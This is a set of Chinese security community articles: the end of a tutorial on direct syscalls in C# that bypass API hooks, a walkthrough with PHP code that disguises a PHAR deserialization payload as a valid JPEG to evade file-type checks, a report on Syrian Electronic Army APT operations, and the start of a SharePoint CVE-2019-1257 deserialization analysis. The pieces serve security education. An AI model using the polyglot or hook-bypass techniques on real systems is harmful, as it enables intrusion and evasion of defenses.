0:000> !address 00007ffb`f6b9cb50
Usage: Image
Base Address: 00007ffb`f6b01000
End Address: 00007ffb`f6c18000
Region Size: 00000000`00117000 ( 1.090 MB)
State: 00001000 MEM_COMMIT
Protect: 00000020 PAGE_EXECUTE_READ
Type: 01000000 MEM_IMAGE
Allocation Base: 00007ffb`f6b00000
Allocation Protect: 00000080 PAGE_EXECUTE_WRITECOPY
Image Path: ntdll.dll
Module Name: ntdll
Loaded Image Name: C:WindowsSYSTEM32ntdll.dll
Mapped Image Name:
More info: lmv m ntdll More info: !lmi ntdll More info: ln 0x7ffbf6b9cb50 More info: !dh 0x7ffbf6b00000 Content source: 1 (target), length: 7b4b0
可以看到，记事本在其进程虚拟内存中对NtCreatreFile函数具有读取以及执行权限。这是因为记事本需要确保它可以执行该函数的syscall，同时读取其返回值。
在上一篇文章中，我解释了每个应用程序的虚拟地址空间是私有的，而且一个应用程序无法更改属于另一个应用程序的数据，除非后者对其部分私有地址空间进行共享。
由于我们现在在C＃中使用了不安全的上下文，并且穿过了托管代码和非托管代码之间的边界。所以我们需要在程序的虚拟内存空间对内存的访问进行管理，因为这时候CLR已经不会再为我们完成这项工作了！而且只有这样，我们才能将参数写入syscall，执行该代码，并为委托函数读取其返回的数据！
但我们要如何实现上述内容呢？好吧，接下来我要向你介绍一个新的伙伴——[VirtualProtect](https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotect)函数。
通过 **VritualProtect**
函数，我们就能修改调用进程虚拟地址空间中已提交页中一个区域的保护机制。这就表示，如果在syscall的内存地址（我们刚刚获得）使用该原生函数，我们就能将该虚拟进程内存设置为读-写-执行权限！
我们在`Native.cs`文件中实现该原生函数。这样我们就能在`Syscalls.cs`中使用它修改汇编代码的内存保护机制了。
与往常一样，让我们看一下该函数的C结构。
BOOL VirtualProtect(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
看起来很简单，
我们只需要把函数中的[flNewProtect](http://pinvoke.net/default.aspx/kernel32/VirtualQueryEx.html)标志添加进行就可以了。
接下来添加该标志。 完成后，Native类中实现的内存保护标志应如下所示。
VirtualProtect函数应如下所示：
很好，我们已经有了很大的进展，而且就要结束了！ 好吧，还是有一些事情要做的。
现在我们已经实现了VirtualProtect函数，回到`Syscall.cs`文件，对`memoryAddress`指针执行VirtualProtect函数，赋予其读-写-执行权限。
同时，将该原生函数放入一个 **IF** 语句中。
这样如果函数执行失败，我们就能抛出一个[Win32Exception](https://docs.microsoft.com/en-us/dotnet/api/system.componentmodel.win32exception?view=netframework-4.8)异常，显示错误代码并停止代码的执行。
同时确保在代码的顶部添加了`using System.ComponentModel;`语句。 这样就可以使用`Win32Exception`类了。
完成上述操作后，我们的代码应如下所示：
如果VirtualProtect执行成功，非托管syscall汇编代码的虚拟内存地址（即`memoryAddress`变量所指向的地址）现在应该已经具有了读-写-执行权限。
这就表示我们现在有了一个指向非托管函数的指针。在之前也介绍过了，我们现在需要做的是使用[Marshal.GetDelegateForFunctionPointer](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_)把该非托管函数指针转换为指定类型的委托。在此例中，应该转换为
**NtCreateFile** 委托。
我知道现在你们中的有些人可能会感到困惑，或者想知道我们为什么要这么做。在我解释有关内存保护的概念的时候，你就应该已经明白上述操作的原因了。但无论如何，我还是解释一下，确保在继续之前每个人都处在同一水平。
之所以要把非托管函数指针转换为NtCreateFile委托，是因为这样做之后，在执行syscall汇编代码的时候，就可以把该函数当作一个回调函数进行使用了。你可以回去看一下`Syscalls.cs`文件的第20行。
所以我们之前究竟在干什么呢？如果你的答案是“将参数传递给函数”，那么你是对的！
一旦委托函数接受创建文件需要的参数之后，它进一步把syscall所在内存位置的保护机制更新为读-写-执行。然后，把指向syscall的指针转换为NtCreateFile委托，即将其转换为实际的函数表示形式。
完成后，我们对该初始化的委托以及传递的参数调用return语句。从本质上讲，程序在这里会把参数压入堆栈，执行syscall，然后将结果返回给调用方，也就是`Program.cs`文件中的函数！
现在清楚了吗？很好！你已经是一个syscall学院的毕业生了！ 🎓
在解释完所有内容之后，我们就要实现[Marshal.GetDelegateForFunctionPointer](https://docs.microsoft.com/en-us/dotnet/api/system.runtime.interopservices.marshal.getdelegateforfunctionpointer?view=netframework-4.8#System_Runtime_InteropServices_Marshal_GetDelegateForFunctionPointer_System_IntPtr_System_Type_)转换了，首先实例化NtCreateFile委托，将其命名为`assembledFunction`。完成后，将非托管指针类型转换为委托类型。
完成后，我们就能使用一个简单的return语句，通过实例化的`assembledFunction`委托返回syscall中的所有参数。
最终的`Syscall.cs`代码应如下所示。
这样我们就有了函数调用后syscall执行的最终版本！
## 执行syscall
到目前为止我们已经实现了syscall逻辑，现在要做的就是在程序中编写实际的使用 **NtCreateFile**
函数的代码，该函数会执行我们的syscall。
首先，确保已经导入了我们的静态类，这样就能像下图中这样使用所有原生函数和syscall了。
完成后，我们就可以初始化[NtCreateFile](https://docs.microsoft.com/en-us/windows/win32/api/winternl/nf-winternl-ntcreatefile)函数需要的结构和变量了，比如说文件句柄以及对象属性。
在此之前，还有一件事。 [OBJECT_ATTRIBUTES](https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_object_attributes)，尤其是其中的`ObjectName`属性，要求一个指向[UNICODE_STRING](https://docs.microsoft.com/en-us/windows/win32/api/ntdef/ns-ntdef-_unicode_string)的指针，该结构中包含了句柄要打开的对象的名称。在此例中就是指我们要创建的文件名。
对于非托管代码来说，要初始化此结构，我们需要调用[RtlUnicodeStringInit](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntstrsafe/nf-ntstrsafe-rtlunicodestringinit)函数。
所以要确保把这个函数添加到`Native.cs`文件中，以便使用其功能。
知道了以上内容，我们就可以继续初始化相关结构了。 首先创建文件句柄以及unicode字符串结构。
我们选择把测试文件保存到桌面，所以把filename路径设置为`C:UsersUserDesktop.test.txt`，如下所示。
完成后，我们就能初始化 **OBJECT_ATTRIBUTES** 结构了。
最后，剩下要做的就是初始化 **IO_STATUS_BLOCK** 结构，并调用 **NtCreateFile** 委托及其参数从而执行syscall！
完成所有内容后，最终的`Program.cs`文件应如下所示。
太棒了，我们终于完成了所有代码！ 现在就到了最重要的时刻——编译代码！
在Visual Studio中，确保已经把 **Solution Configuration** 修改成了 “ **Release** ”。
之后，在上面的工具栏中选择 **Build** –> **Build Solution** 。
几秒钟后，你就应该能看到以下输出，显示编译成功！
好吧，先不要太兴奋！ 这个代码可能还会在测试过程中失败，不过我敢肯定不会！ 😁
要测试这个新编译完成的代码，先打开命令提示符并进入到项目的编译位置。我这里是
`C:UsersUserSourceReposSharpCallbinRelease`。
如你所见，我的桌面上并没有`test.txt`文件，如下所示。
如果一切顺利，在执行了`SharpCall.exe`后，会执行我们的syscall，并在桌面上创建一个新的`test.txt`文件。
好吧，关键时刻。 让我们执行来看看！
视频在[这里](https://jhalon.github.io/images/syscall-code-21.mp4)。
确实出现了`test.txt`文件，我们的代码能够正常工作，而且成功地执行了我们的syscall！
但我们怎么确定执行的是syscall，而不是来自 **ntdll** 的原生api函数呢？
为了确保执行的是我们的syscall，我们可以再次使用[Process Monitor](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)监控我们的程序。
我们可以在这个软件中查看特定的读/写操作属性及其调用堆栈。
在监视该进程的执行过程后，我们发现里面有一个`test.txt`文件的`CreateFile`操作。如果查看该操作的调用堆栈，可以看到以下内容：
可以看到里面没有从 **ntdll** 发出的任何调用，只是一个从 **unknown** 到 **ntoskrnl.exe**
的syscall！我们实现了一个有效的syscall！
使用这种方法就能够绕过在 **NtCreateFile** 函数上的任何API hooking！ 😈
## 结束语
女士们，先生们，到这里我们就完成了此次旅程！我们学习了很多有关Windows
Internals，Syscall以及C＃的知识，现在你应该可以利用这些内容在C＃中创建自己的syscall了！
该项目的最终代码已经添加到了我的Github，位于[SharpCall](https://github.com/jhalon/SharpCall)仓库中。
在本文开头，我提到会提供一些使用相同技术的项目的资源链接。所以如果你觉得仍有问题或者只是想获得更多信息，那么我建议你看一下以下项目。
* [SharpMiniDump](https://github.com/b4rtik/SharpMiniDump/)
* [LOLBITS](https://github.com/Kudaes/LOLBITS)
* [directInjectPOC](https://github.com/badBounty/directInjectorPOC)
好吧，差不多了！非常感谢大家阅读这两篇文章，并且让第一篇文章取得了如此巨大的成功！我没想到它会如此受欢迎。希望你能像阅读第一篇文章一样享受这篇文章，也希望你学到了一些新知识！
感谢阅读的每一个人！谢谢! | 社区文章 |
原文：<https://www.nc-lp.com/blog/disguise-phar-packages-as-images>
在US BlackHat
2018大会上，安全人员证明，攻击者不仅可以利用PHAR包发动RCE攻击，而且，通过调整其二进制内容，他们还可以将其伪装成一幅图像，从而绕过安全检查。
在本文中，我们来看看第二点是如何做到的。
**背景知识**
* * *
在US BlackHat 2018大会期间，Sam
Thomas召开了一个关于在PHP中利用`phar://`流包装器来实现针对服务器的代码执行攻击的研讨会（[幻灯片](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf
"幻灯片")）。
在运行PHAR包时，由于PHP会对其内容进行反序列化，从而允许攻击者启动一个PHP对象包含链。其中，最有趣的部分在于如何触发有效载荷：归档上的任何文件操作都将执行它。最后，攻击者根本无需关心文件名是否正确，因为即使是失败的文件调用，PHP也会对其内容进行反序列化处理。
此外，攻击者完全可以将PHAR包伪装成一幅图像：在这篇文章中，我们将为读者解释他们是如何做到这一点的。
**降至字节码级别**
* * *
有时我们会忘记这一点，那就是在机器眼里，文件只不过是一堆遵循预定义结构的字节而已。对于应用程序而言，将检查自己是否可以管理这样的数据流，如果可以的话，就会生成相应的输出。
在Thomas的演讲中，曾提示如何创建具有有效JPEG头部的PHAR包。
图片引自Sam Thomas的幻灯片
不过，这里我们要做的是创建一个具有JPEG头部的文件，并更新PHAR的校验和。这样一来，PHAR包一方面会被视为一个图像，同时，PHP还可以继续执行它。
**开始下手**
* * *
听起来，这里只需修改几个字节并更新校验，按说应该非常轻松，对吧？
然而，事实并非如此。
计算校验和（至少对我来说）是一件让人头痛的事情。所以，我想：如果让PHP来代劳的话，会怎样呢？
所以，我对Thomas的原始剧本进行了一番改造，具体如下所示：
<?php
class TestObject {}
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
如您所见，这里将原始HEX字节添加到了PHAR存档的存根部分。下面是原始HEX得到的结果：
tampe125@AlphaCentauri:~$ xxd phar.jpeg
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000 L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374 ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000 Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000 .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42 ....r.&.....GBMB
这同时是一个合法的PHAR包，以及一幅合法的JPEG图像吗？
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
看到了吧，PHP将其视为一幅图像，我们仍然可以探索存档的内容。哈哈，好玩吧！
注意：请仔细查看存根部分，看看它是如何“跳过”开头部分的PHP标记的。因为这里是绕过大多数内容扫描程序的关键所在。对于存档来说，是否有效的关键在于函数`__HALT_COMPILER()`；
我认为，PHP会通过它来确定出应该“跳过”多少数据。
**更进一步**
* * *
到目前为止，我们制作的文件已经可以通过任何基于文件头的类型检测了，但是，对于更高级的检测方法来说，它就无能为力了。例如，使用`getimagesize`来检查文件内容是否为图像的话，将返回false，因为它并不是一幅“真正”的图像：
tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)
看到了吧。
但是，别忘了，我们可以在`__HALT_COMPILER()`标记之前填充任意的数据的，所以，如果我们在此填入一幅完整的图像的话，会怎样呢？于是，我花了大量的时间去研读[JPEG规范](https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format
"JPEG规范")和[PHP源代码](https://github.com/php/php-src/blob/5e74a1f411e9e7cf71f137cdd7e9673c28d44515/ext/standard/image.c#L473
"PHP源代码")，不过最后仍然没有理出头绪，所以，我果断决定放弃——太复杂了。
那么，能否直接使用GIMP创建10x10黑色图像并嵌入其中呢？
<?php
class TestObject {}
$jpeg_header_size =
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();
好了，看看效果如何：
tampe125@AlphaCentauri:~$ file phar.jpeg
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
[0] =>
int(10)
[1] =>
int(10)
[2] =>
int(2)
[3] =>
string(22) "width="10" height="10""
'bits' =>
int(8)
'channels' =>
int(3)
'mime' =>
string(10) "image/jpeg"
}
这次，我们如愿以偿了。这个文件不仅是一个包含我们想要利用的类的PHAR包，同时，它还是一幅合法的图像（我们甚至可以用系统图像查看器打开它）：
**小结**
* * *
正如我们刚才看到的，文件实际上只是一堆字节而已：如果我们只是利用其元数据进行类型检测的话，那么很可能会出错：攻击者可以轻松绕过检测，并返回他们想要的文件类型。要想检测文件类型，更加可靠的解决方案是直接读取文件内容并搜索恶意字符串。 | 社区文章 |
# 首度揭秘叙利亚网络部队：如何穿梭在战乱中获取情报？
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
网络战可获取真实战场情报先机，叙利亚政府将网络战的作用发挥的淋漓尽致。
中东地区似乎历来都不太平，内战中的叙利亚局势更加跌宕起伏：
两天前的10月7日，美国总统特朗普公开回应让美军从叙利亚边境撤出。
视频显示：美军在叙军事基地空无一人
图片来源：俄罗斯RT视频机构获取的视频
四天前的10月5日，土耳其总统埃尔多安表示，土耳其可能对叙利亚东北部地区发起空中和地面军事行动。
图片来源：CCTV 13新闻视频截图
而就在上个月26日，美国国家公共电台NPR新闻还发布了一则《美国如何入侵ISIS》的文章，公然向大众讲述他们如何利用网络武器掀起一场“兵不血刃”的战争。
图片来源：NPR 官网截图
身处战争的“风暴眼”，叙利亚这一文明古国可以说是一念天堂，一念地狱，明天它的走向将如何，成为多方势力与众多军事、安全专家学者重点关注的国度。
透过这些新闻，被战争阴云笼罩下的叙利亚政府如何在国内外的势力裹挟中而不倒？今天，我们就将目光聚焦在这个战争“风暴眼”的国家以及其神秘的叙利亚网络部队。在逐层披露中，智库发现叙利亚政府可谓是将网络战中情报收集的手段发挥的淋漓尽致，同时也再次感受到“网络战可获取真实战场的情报先机”这一论断。
## 岂止于一场内战国内外多股势力纷纷入场
故事的起因还要回溯到九年前，当时中东地区多国接连爆发阿拉伯之春运动。受其影响，2011年1月26日，叙利亚爆发大规模反政府示威，继而叙政府军和反对派武装爆发军事冲突，引发大规模内战。
据2013年12月报道，有多达1,000个叙利亚反政府武装团体存在。其一为叙利亚反对派和革命力量全国联盟，及其临时政府。另一个为有着强烈宗教色彩的伊斯兰主义武装组织，包括伊斯兰国在内的伊斯兰恐怖组织以及寻求摆脱外族统治的库尔德族武装组织。
为了更方便的理解后续文章，这里对两大组织进行简单介绍：
根据维基百科介绍，叙利亚反对派和革命力量全国联盟是叙利亚内战中“自由全国变革运动”、“伊斯兰祖国运动”、“解放和发展集团”、“土库曼全国集团”和“库尔德新生活运动”组建的联盟，成立于
2012年11月11日。
伊斯兰国（Islamic State，简称IS），前称“伊拉克和沙姆伊斯兰国”（Islamic State of Iraq and al-Sham，简称ISIS），是一个活跃在伊拉克和叙利亚的萨拉菲圣战主义组织以及未被世界广泛认可的政治实体，奉行极端保守的伊斯兰原教旨主义瓦哈比派，属逊尼宗的一脉。
同时，反对派武装力量还获得国外大量援助：西方国家（特别是美国）和逊尼派国家（以土耳其和以色列为代表），支持叙利亚反对派；伊朗和俄罗斯则大力支援叙利亚政府。大国的介入让叙利亚这场内战，成为逊尼派与什叶派之间，以及美国与俄罗斯之间的新的角力场。
2019年7月30日叙利亚各组织势力分布
## 首个设立公共互联网并发动网络攻击的国家组织叙利亚网络部队在忧患中诞生
面对如此棘手又强大的内忧外患，您或许也要发问：
岌岌可危的叙利亚政府该如何谋得“生存”，又如何在八年内战中一点点求取胜利？
2014年4月，在一次叙利亚反政府抗议活动升级后，一个名为Syrian Electronic
Army，简称SEA的组织出现在Facebook上，以支持政府的叙利亚总统巴沙尔·阿萨德。从这天起，声名赫赫的叙利亚网络部队诞生。
值得注意的是，2011年5月5日，叙利亚计算机协会注册了叙利亚网络部队的网站（syrian-es.com）。由于叙利亚的域名注册机构注册了黑客网站，一些安全专家推测，该组织由叙利亚国家监管。虽然，当时的叙利亚网络部队在其网页上声称其不是官方实体，而是一群热爱自己国家的年轻人并决定以电子方式反击那些袭击叙利亚网站的人和那些敌视叙利亚的人。
但，随即在22天后的5月27日，一个“新页面”取代了原来的“旧页面”。在“新页面”上删除了它“不是一个官方实体”的描述，只说明了它是由一群年轻的叙利亚爱好者建立的，以打击那些利用互联网，特别是利用Facebook在叙利亚“散布仇恨”和“破坏安全”的人。
从这个转变上来看，可以说，叙利亚网络部队不仅是首个在其国家网络上设立公共互联网军队以公开对其敌人发动网络攻击的阿拉伯国家组织。同时，它的定位标签已经注定自成立起，它便发挥起网络监控与攻击的作用，承担为叙利亚政府收取重要的战争信息情报，威慑西方国家的职责。
## 持续发动APT攻击叙网络部队为政府获取实战情报
事实上，叙利亚网络部队的种种表现不曾让人失望。经360烽火实验室捕获发现，叙利亚网络部队旗下拥有两大网络部队组织并发动过两起攻击：黄金鼠组织（APT-C-27）和拍拍熊组织（APT-C-37）。这两大组织通过对叙利亚国内反对派组织有计划、有针对性的长时间不间断的监控攻击活动，让叙利亚政府军掌握了敌对势力大量一手的重要军事情报，具体包括以下重要信息：
### 1重磅情报：自由叙利亚作战军队信息
此为自由叙利亚军队第一军团13师133旅Excel表记录，其中包括了部分城镇的指挥、总部、营地、特殊建筑的航点号码和航点图像等重要信息。此表格令叙利亚政府掌握敌人部分军情。该表格最后保存日期为2019年7月14日。
第一军团第13师133旅部分航点数据和文档属性
### 2重磅情报：包含经纬度的交战区图
从经纬度可以发现其指向了叙利亚反对派与政府军作战区域伊德利卜附近。从图片的清晰度来看，该图足可以令叙利亚政府推断出反动派在使用无人机拍摄来获取情报。
左边为泄露图片，右边为同样坐标的google地图
### 3重磅情报：俄罗斯驻拉塔基亚空军基地
下图坐标位置为巴塞勒·阿萨德国际机场，该机场坐落在距地中海城市拉塔基亚２０余公里的小镇赫梅明，被称为拉塔基亚空军基地，或赫梅明空军基地。这里正是俄罗斯驻拉塔基亚空军基地。可见，叙利亚反动派可能已经盯上该空军基地，叙利亚政府军及时获取此图能及早做好军事防备。
左边为泄露图片，右边为同坐标的google地图
### 4重磅情报：大量手持证件照
在叙利亚网络部队获取的信息中，有大量手持证件照，若这些照片为叙利亚反对派士兵照片，那它无疑将是一张张最为准确无误的通缉画像，为叙利亚政府精准捕获敌对士兵，起到重要作用。
手持证件照
### 5其他情报：
无人机侦察拍摄图
战后废墟图
（备注：以上图片信息均是从2019年7月下旬到9月初，叙利亚网络部队泄露的近3GB数据所得。泄露数据是由360安全大脑对拍拍熊组织FTP服务器信息的分析时观察发现所得。）
兵法有言，知己知彼，百战不殆。在战场上，谁能优先掌握敌人的信息资料，谁就拥有了天然优势。
叙利亚网络部队在初期以开源的RAT、中后期则使用定制化RAT等网络攻击形式，持续在移动端对敌对势力发动监控活动（包括但不限于攻陷网站、社交网络、钓鱼网站、伪装客户端等），从而获取敌人设备的重要军事情报，第一时间掌握敌人动态，并根据情报信息及时调整在实战中的军事战略战术。
（备注：RAT（Remote Access
Trojan）是一种特洛伊木马病毒的变体，可以在目标计算机上安装服务器组件的恶意代码。当计算机被感染后，攻击者便可以使用一个简单的客户程序访问目标计算机。）
## 网络战成实战前锋网络部队为其实战胜利打下基础
事实上，在叙利亚网络部队进行网络战的同时，叙利亚政府也进行了一系列军事行动：
* 2017年开始，叙利亚网络部队针对“伊斯兰国”Al Swarm新闻社网站发动水坑攻击，同年叙利亚政府军联合俄罗斯和伊朗大举攻入伊拉克和叙利亚的战场。被“伊斯兰国”占领的摩苏尔与拉卡两座大城市先后被攻陷，有形的“伊斯兰国”领土几乎消灭。
* 2019年2月，360烽火实验室发现叙利亚网络部队针对“伊斯兰国”的攻击样本。同年3月23日，“伊斯兰国”在叙利亚国内的最后据点被叙利亚民主力量解放，并宣布伊斯兰国组织完全瓦解，正式灭亡。
* 2019年7月，叙利亚网络部队针对伊德利卜区域的反对派的网络间谍活动。（位于叙利亚西北部的伊德利卜省，是叙利亚反对派武装和极端组织“征服阵线”在叙境内的最后盘踞之地。）2019年7月至9月期间，政府军也针对伊德利卜区域发起多起军事行动，这在国际上引起了广泛关注。
如上一连串战果再次表明，网络战争可为实战获取情报先机，从而赢得在真实军事战场的进一步胜利。可以说，网络战早已与实战相融合，二者相辅相成，成为新战争形态。
在混乱的内战及各种势力的裹挟中，叙利亚政府针对不同反政府武装组织采取长期的网络攻击活动以获取情报，再配合武力打击，使其在真实战场中得到有效成果。同时，由于获取的情报中包含大量的反政府武装人员信息，这也为今后叙利亚统一后的社会稳定发挥着巨大作用。可以说，叙利亚政府将网络战的作用发挥的淋漓尽致。这或许这也是八年内外夹击中，叙利亚政府仍能“坚守”阵地的一个重要原因。
然而，以上所发现的网络攻击活动，也只是众多网络攻击活动中的冰山一角。如今，网络战在各国博弈中的重要性越发凸显。伴随技术的发展，当数以百亿计的物联网设备、新技术、芯片、云端成为攻击的切入点；国家关键基础设施首当其冲，成为重要攻击目标时，网络战与网络攻击的价值与威力，将远比我们预估的要重要与险峻的多。如何保护网络世界和现实世界的和平与安全，将成为全球国家、组织以及个人共同思考的命题。
## 文章后续补充：
本文重点披露了叙利亚获取网络部队获取的一些情报以及配合网络战叙利亚政府取得了真实世界中军事战争的胜利，这其中叙利亚的两大APT组织——黄金鼠组织与拍拍熊组织，发挥了重要作用。
2018年1月，360威胁情报中心发布了黄金鼠组织（APT-C-27）APT研究报告。报告显示：从2014年11月起，黄金鼠组织就针对叙利亚地区展开了有组织、有计划、有针对性的长时间不间断攻击。攻击平台也从开始的攻击Windows平台逐渐扩展至Android平台。同时，在此次攻击活动中，Android和PC平台的恶意样本主要伪装成聊天软件及一些特定领域常用软件，通过水坑攻击方式配合社会工程学手段进行渗透，向特定目标人群进行攻击。根据PC样本中的PDB的作者信息，最终确定黄金鼠组织为叙利亚网络部队的一个分支。
尤其是在PDB路径中，发现了如“Th3ProSyria”、“aboomar”、“abo
moaaz”等名称。在针对PDB路径中相关名称进一步关联，发现FBI网站上曾发布一则针对Ahmed
AlAgha因涉嫌参与叙利亚网络部队而被通缉的悬赏公告（如下图9），其常用昵称正是“Th3 Pr0”和“The Pro”。
FBI针对Ahmed Al Agha的通缉悬赏公告
此外，黄金鼠组织与拍拍熊组织如何在移动端发起监控活动，它们的技术特点有哪些，以及又是如何判定这两大组织隶属于叙利亚网络部队的。更多详细内容，请下载[《叙利亚电子军揭秘：管窥网络攻击在叙利亚内战中的作用与影响》](http://zt.360.cn/1101061855.php?dtid=1101062514&did=610327354)报告。 | 社区文章 |
# CVE-2019-1257：通过BDC反序列化在Microsoft SharePoint上执行代码
##### 译文声明
本文是翻译文章
原文地址：<https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization>
译文仅供参考，具体内容表达以及含义原文为准。
今年早些时候，研究人员Markus Wulftange（[@mwulftange](https://github.com/mwulftange
"@mwulftange")）报告了Microsoft SharePoint中的一个远程代码执行（RCE）漏洞，最终被修补为CVE-2019-0604
。话音未落，9月Microsoft又处理了Markus报告的其他三个SharePoint
RCE：CVE-2019-1295，CVE-2019-1296和CVE-2019-1257。这篇博客将更详细地介绍了最后一个CVE，也被称为ZDI-19-812。此错误会影响所有受支持的SharePoint版本，获得了微软最高的漏洞攻击指数评级—高危，他们预计在不久的将来会看到关于它的攻击。
## 漏洞详情
由于自定义的BDC模型中可以使用任意方法参数类型，Microsoft SharePoint
2016中的业务数据连接（BDC）服务容易受到XmlSerializer流的任意反序列化的攻击。如AlvaroMuñoz和Oleksandr
Mirosh在Black Hat 2017黑帽大会报告中所言，对XmlSerializer流进行任意反序列化可以导致任意代码执行。
SharePoint支持使用业务数据连接模型文件格式（MS-BDCMFFS）[1]来指定自定义BDC模型。该规范的一部分是方法和参数的定义。这是Microsoft提供的示例摘录：
这将定义一个名为GetCustomer的方法，该方法包装一个名为sp_GetCustomer的存储过程（详情请参阅rdbcommandtext属性）。输入参数（Direction=”In”）和返回参数（Direction=”Return”）都用它们各自的类型描述来定义的。
在上面显示的示例中，输入参数的原始类型为System.Int32，这是安全的。但是如果定义的BDC模型的参数类型为Microsoft.BusinessData.Runtime.DynamicType，则会出现此问题。这样做好处在于允许调用者灵活地为该参数传递许多不同类型的值。后果就是反序列化调用方提供了任意XmlSerializer流。
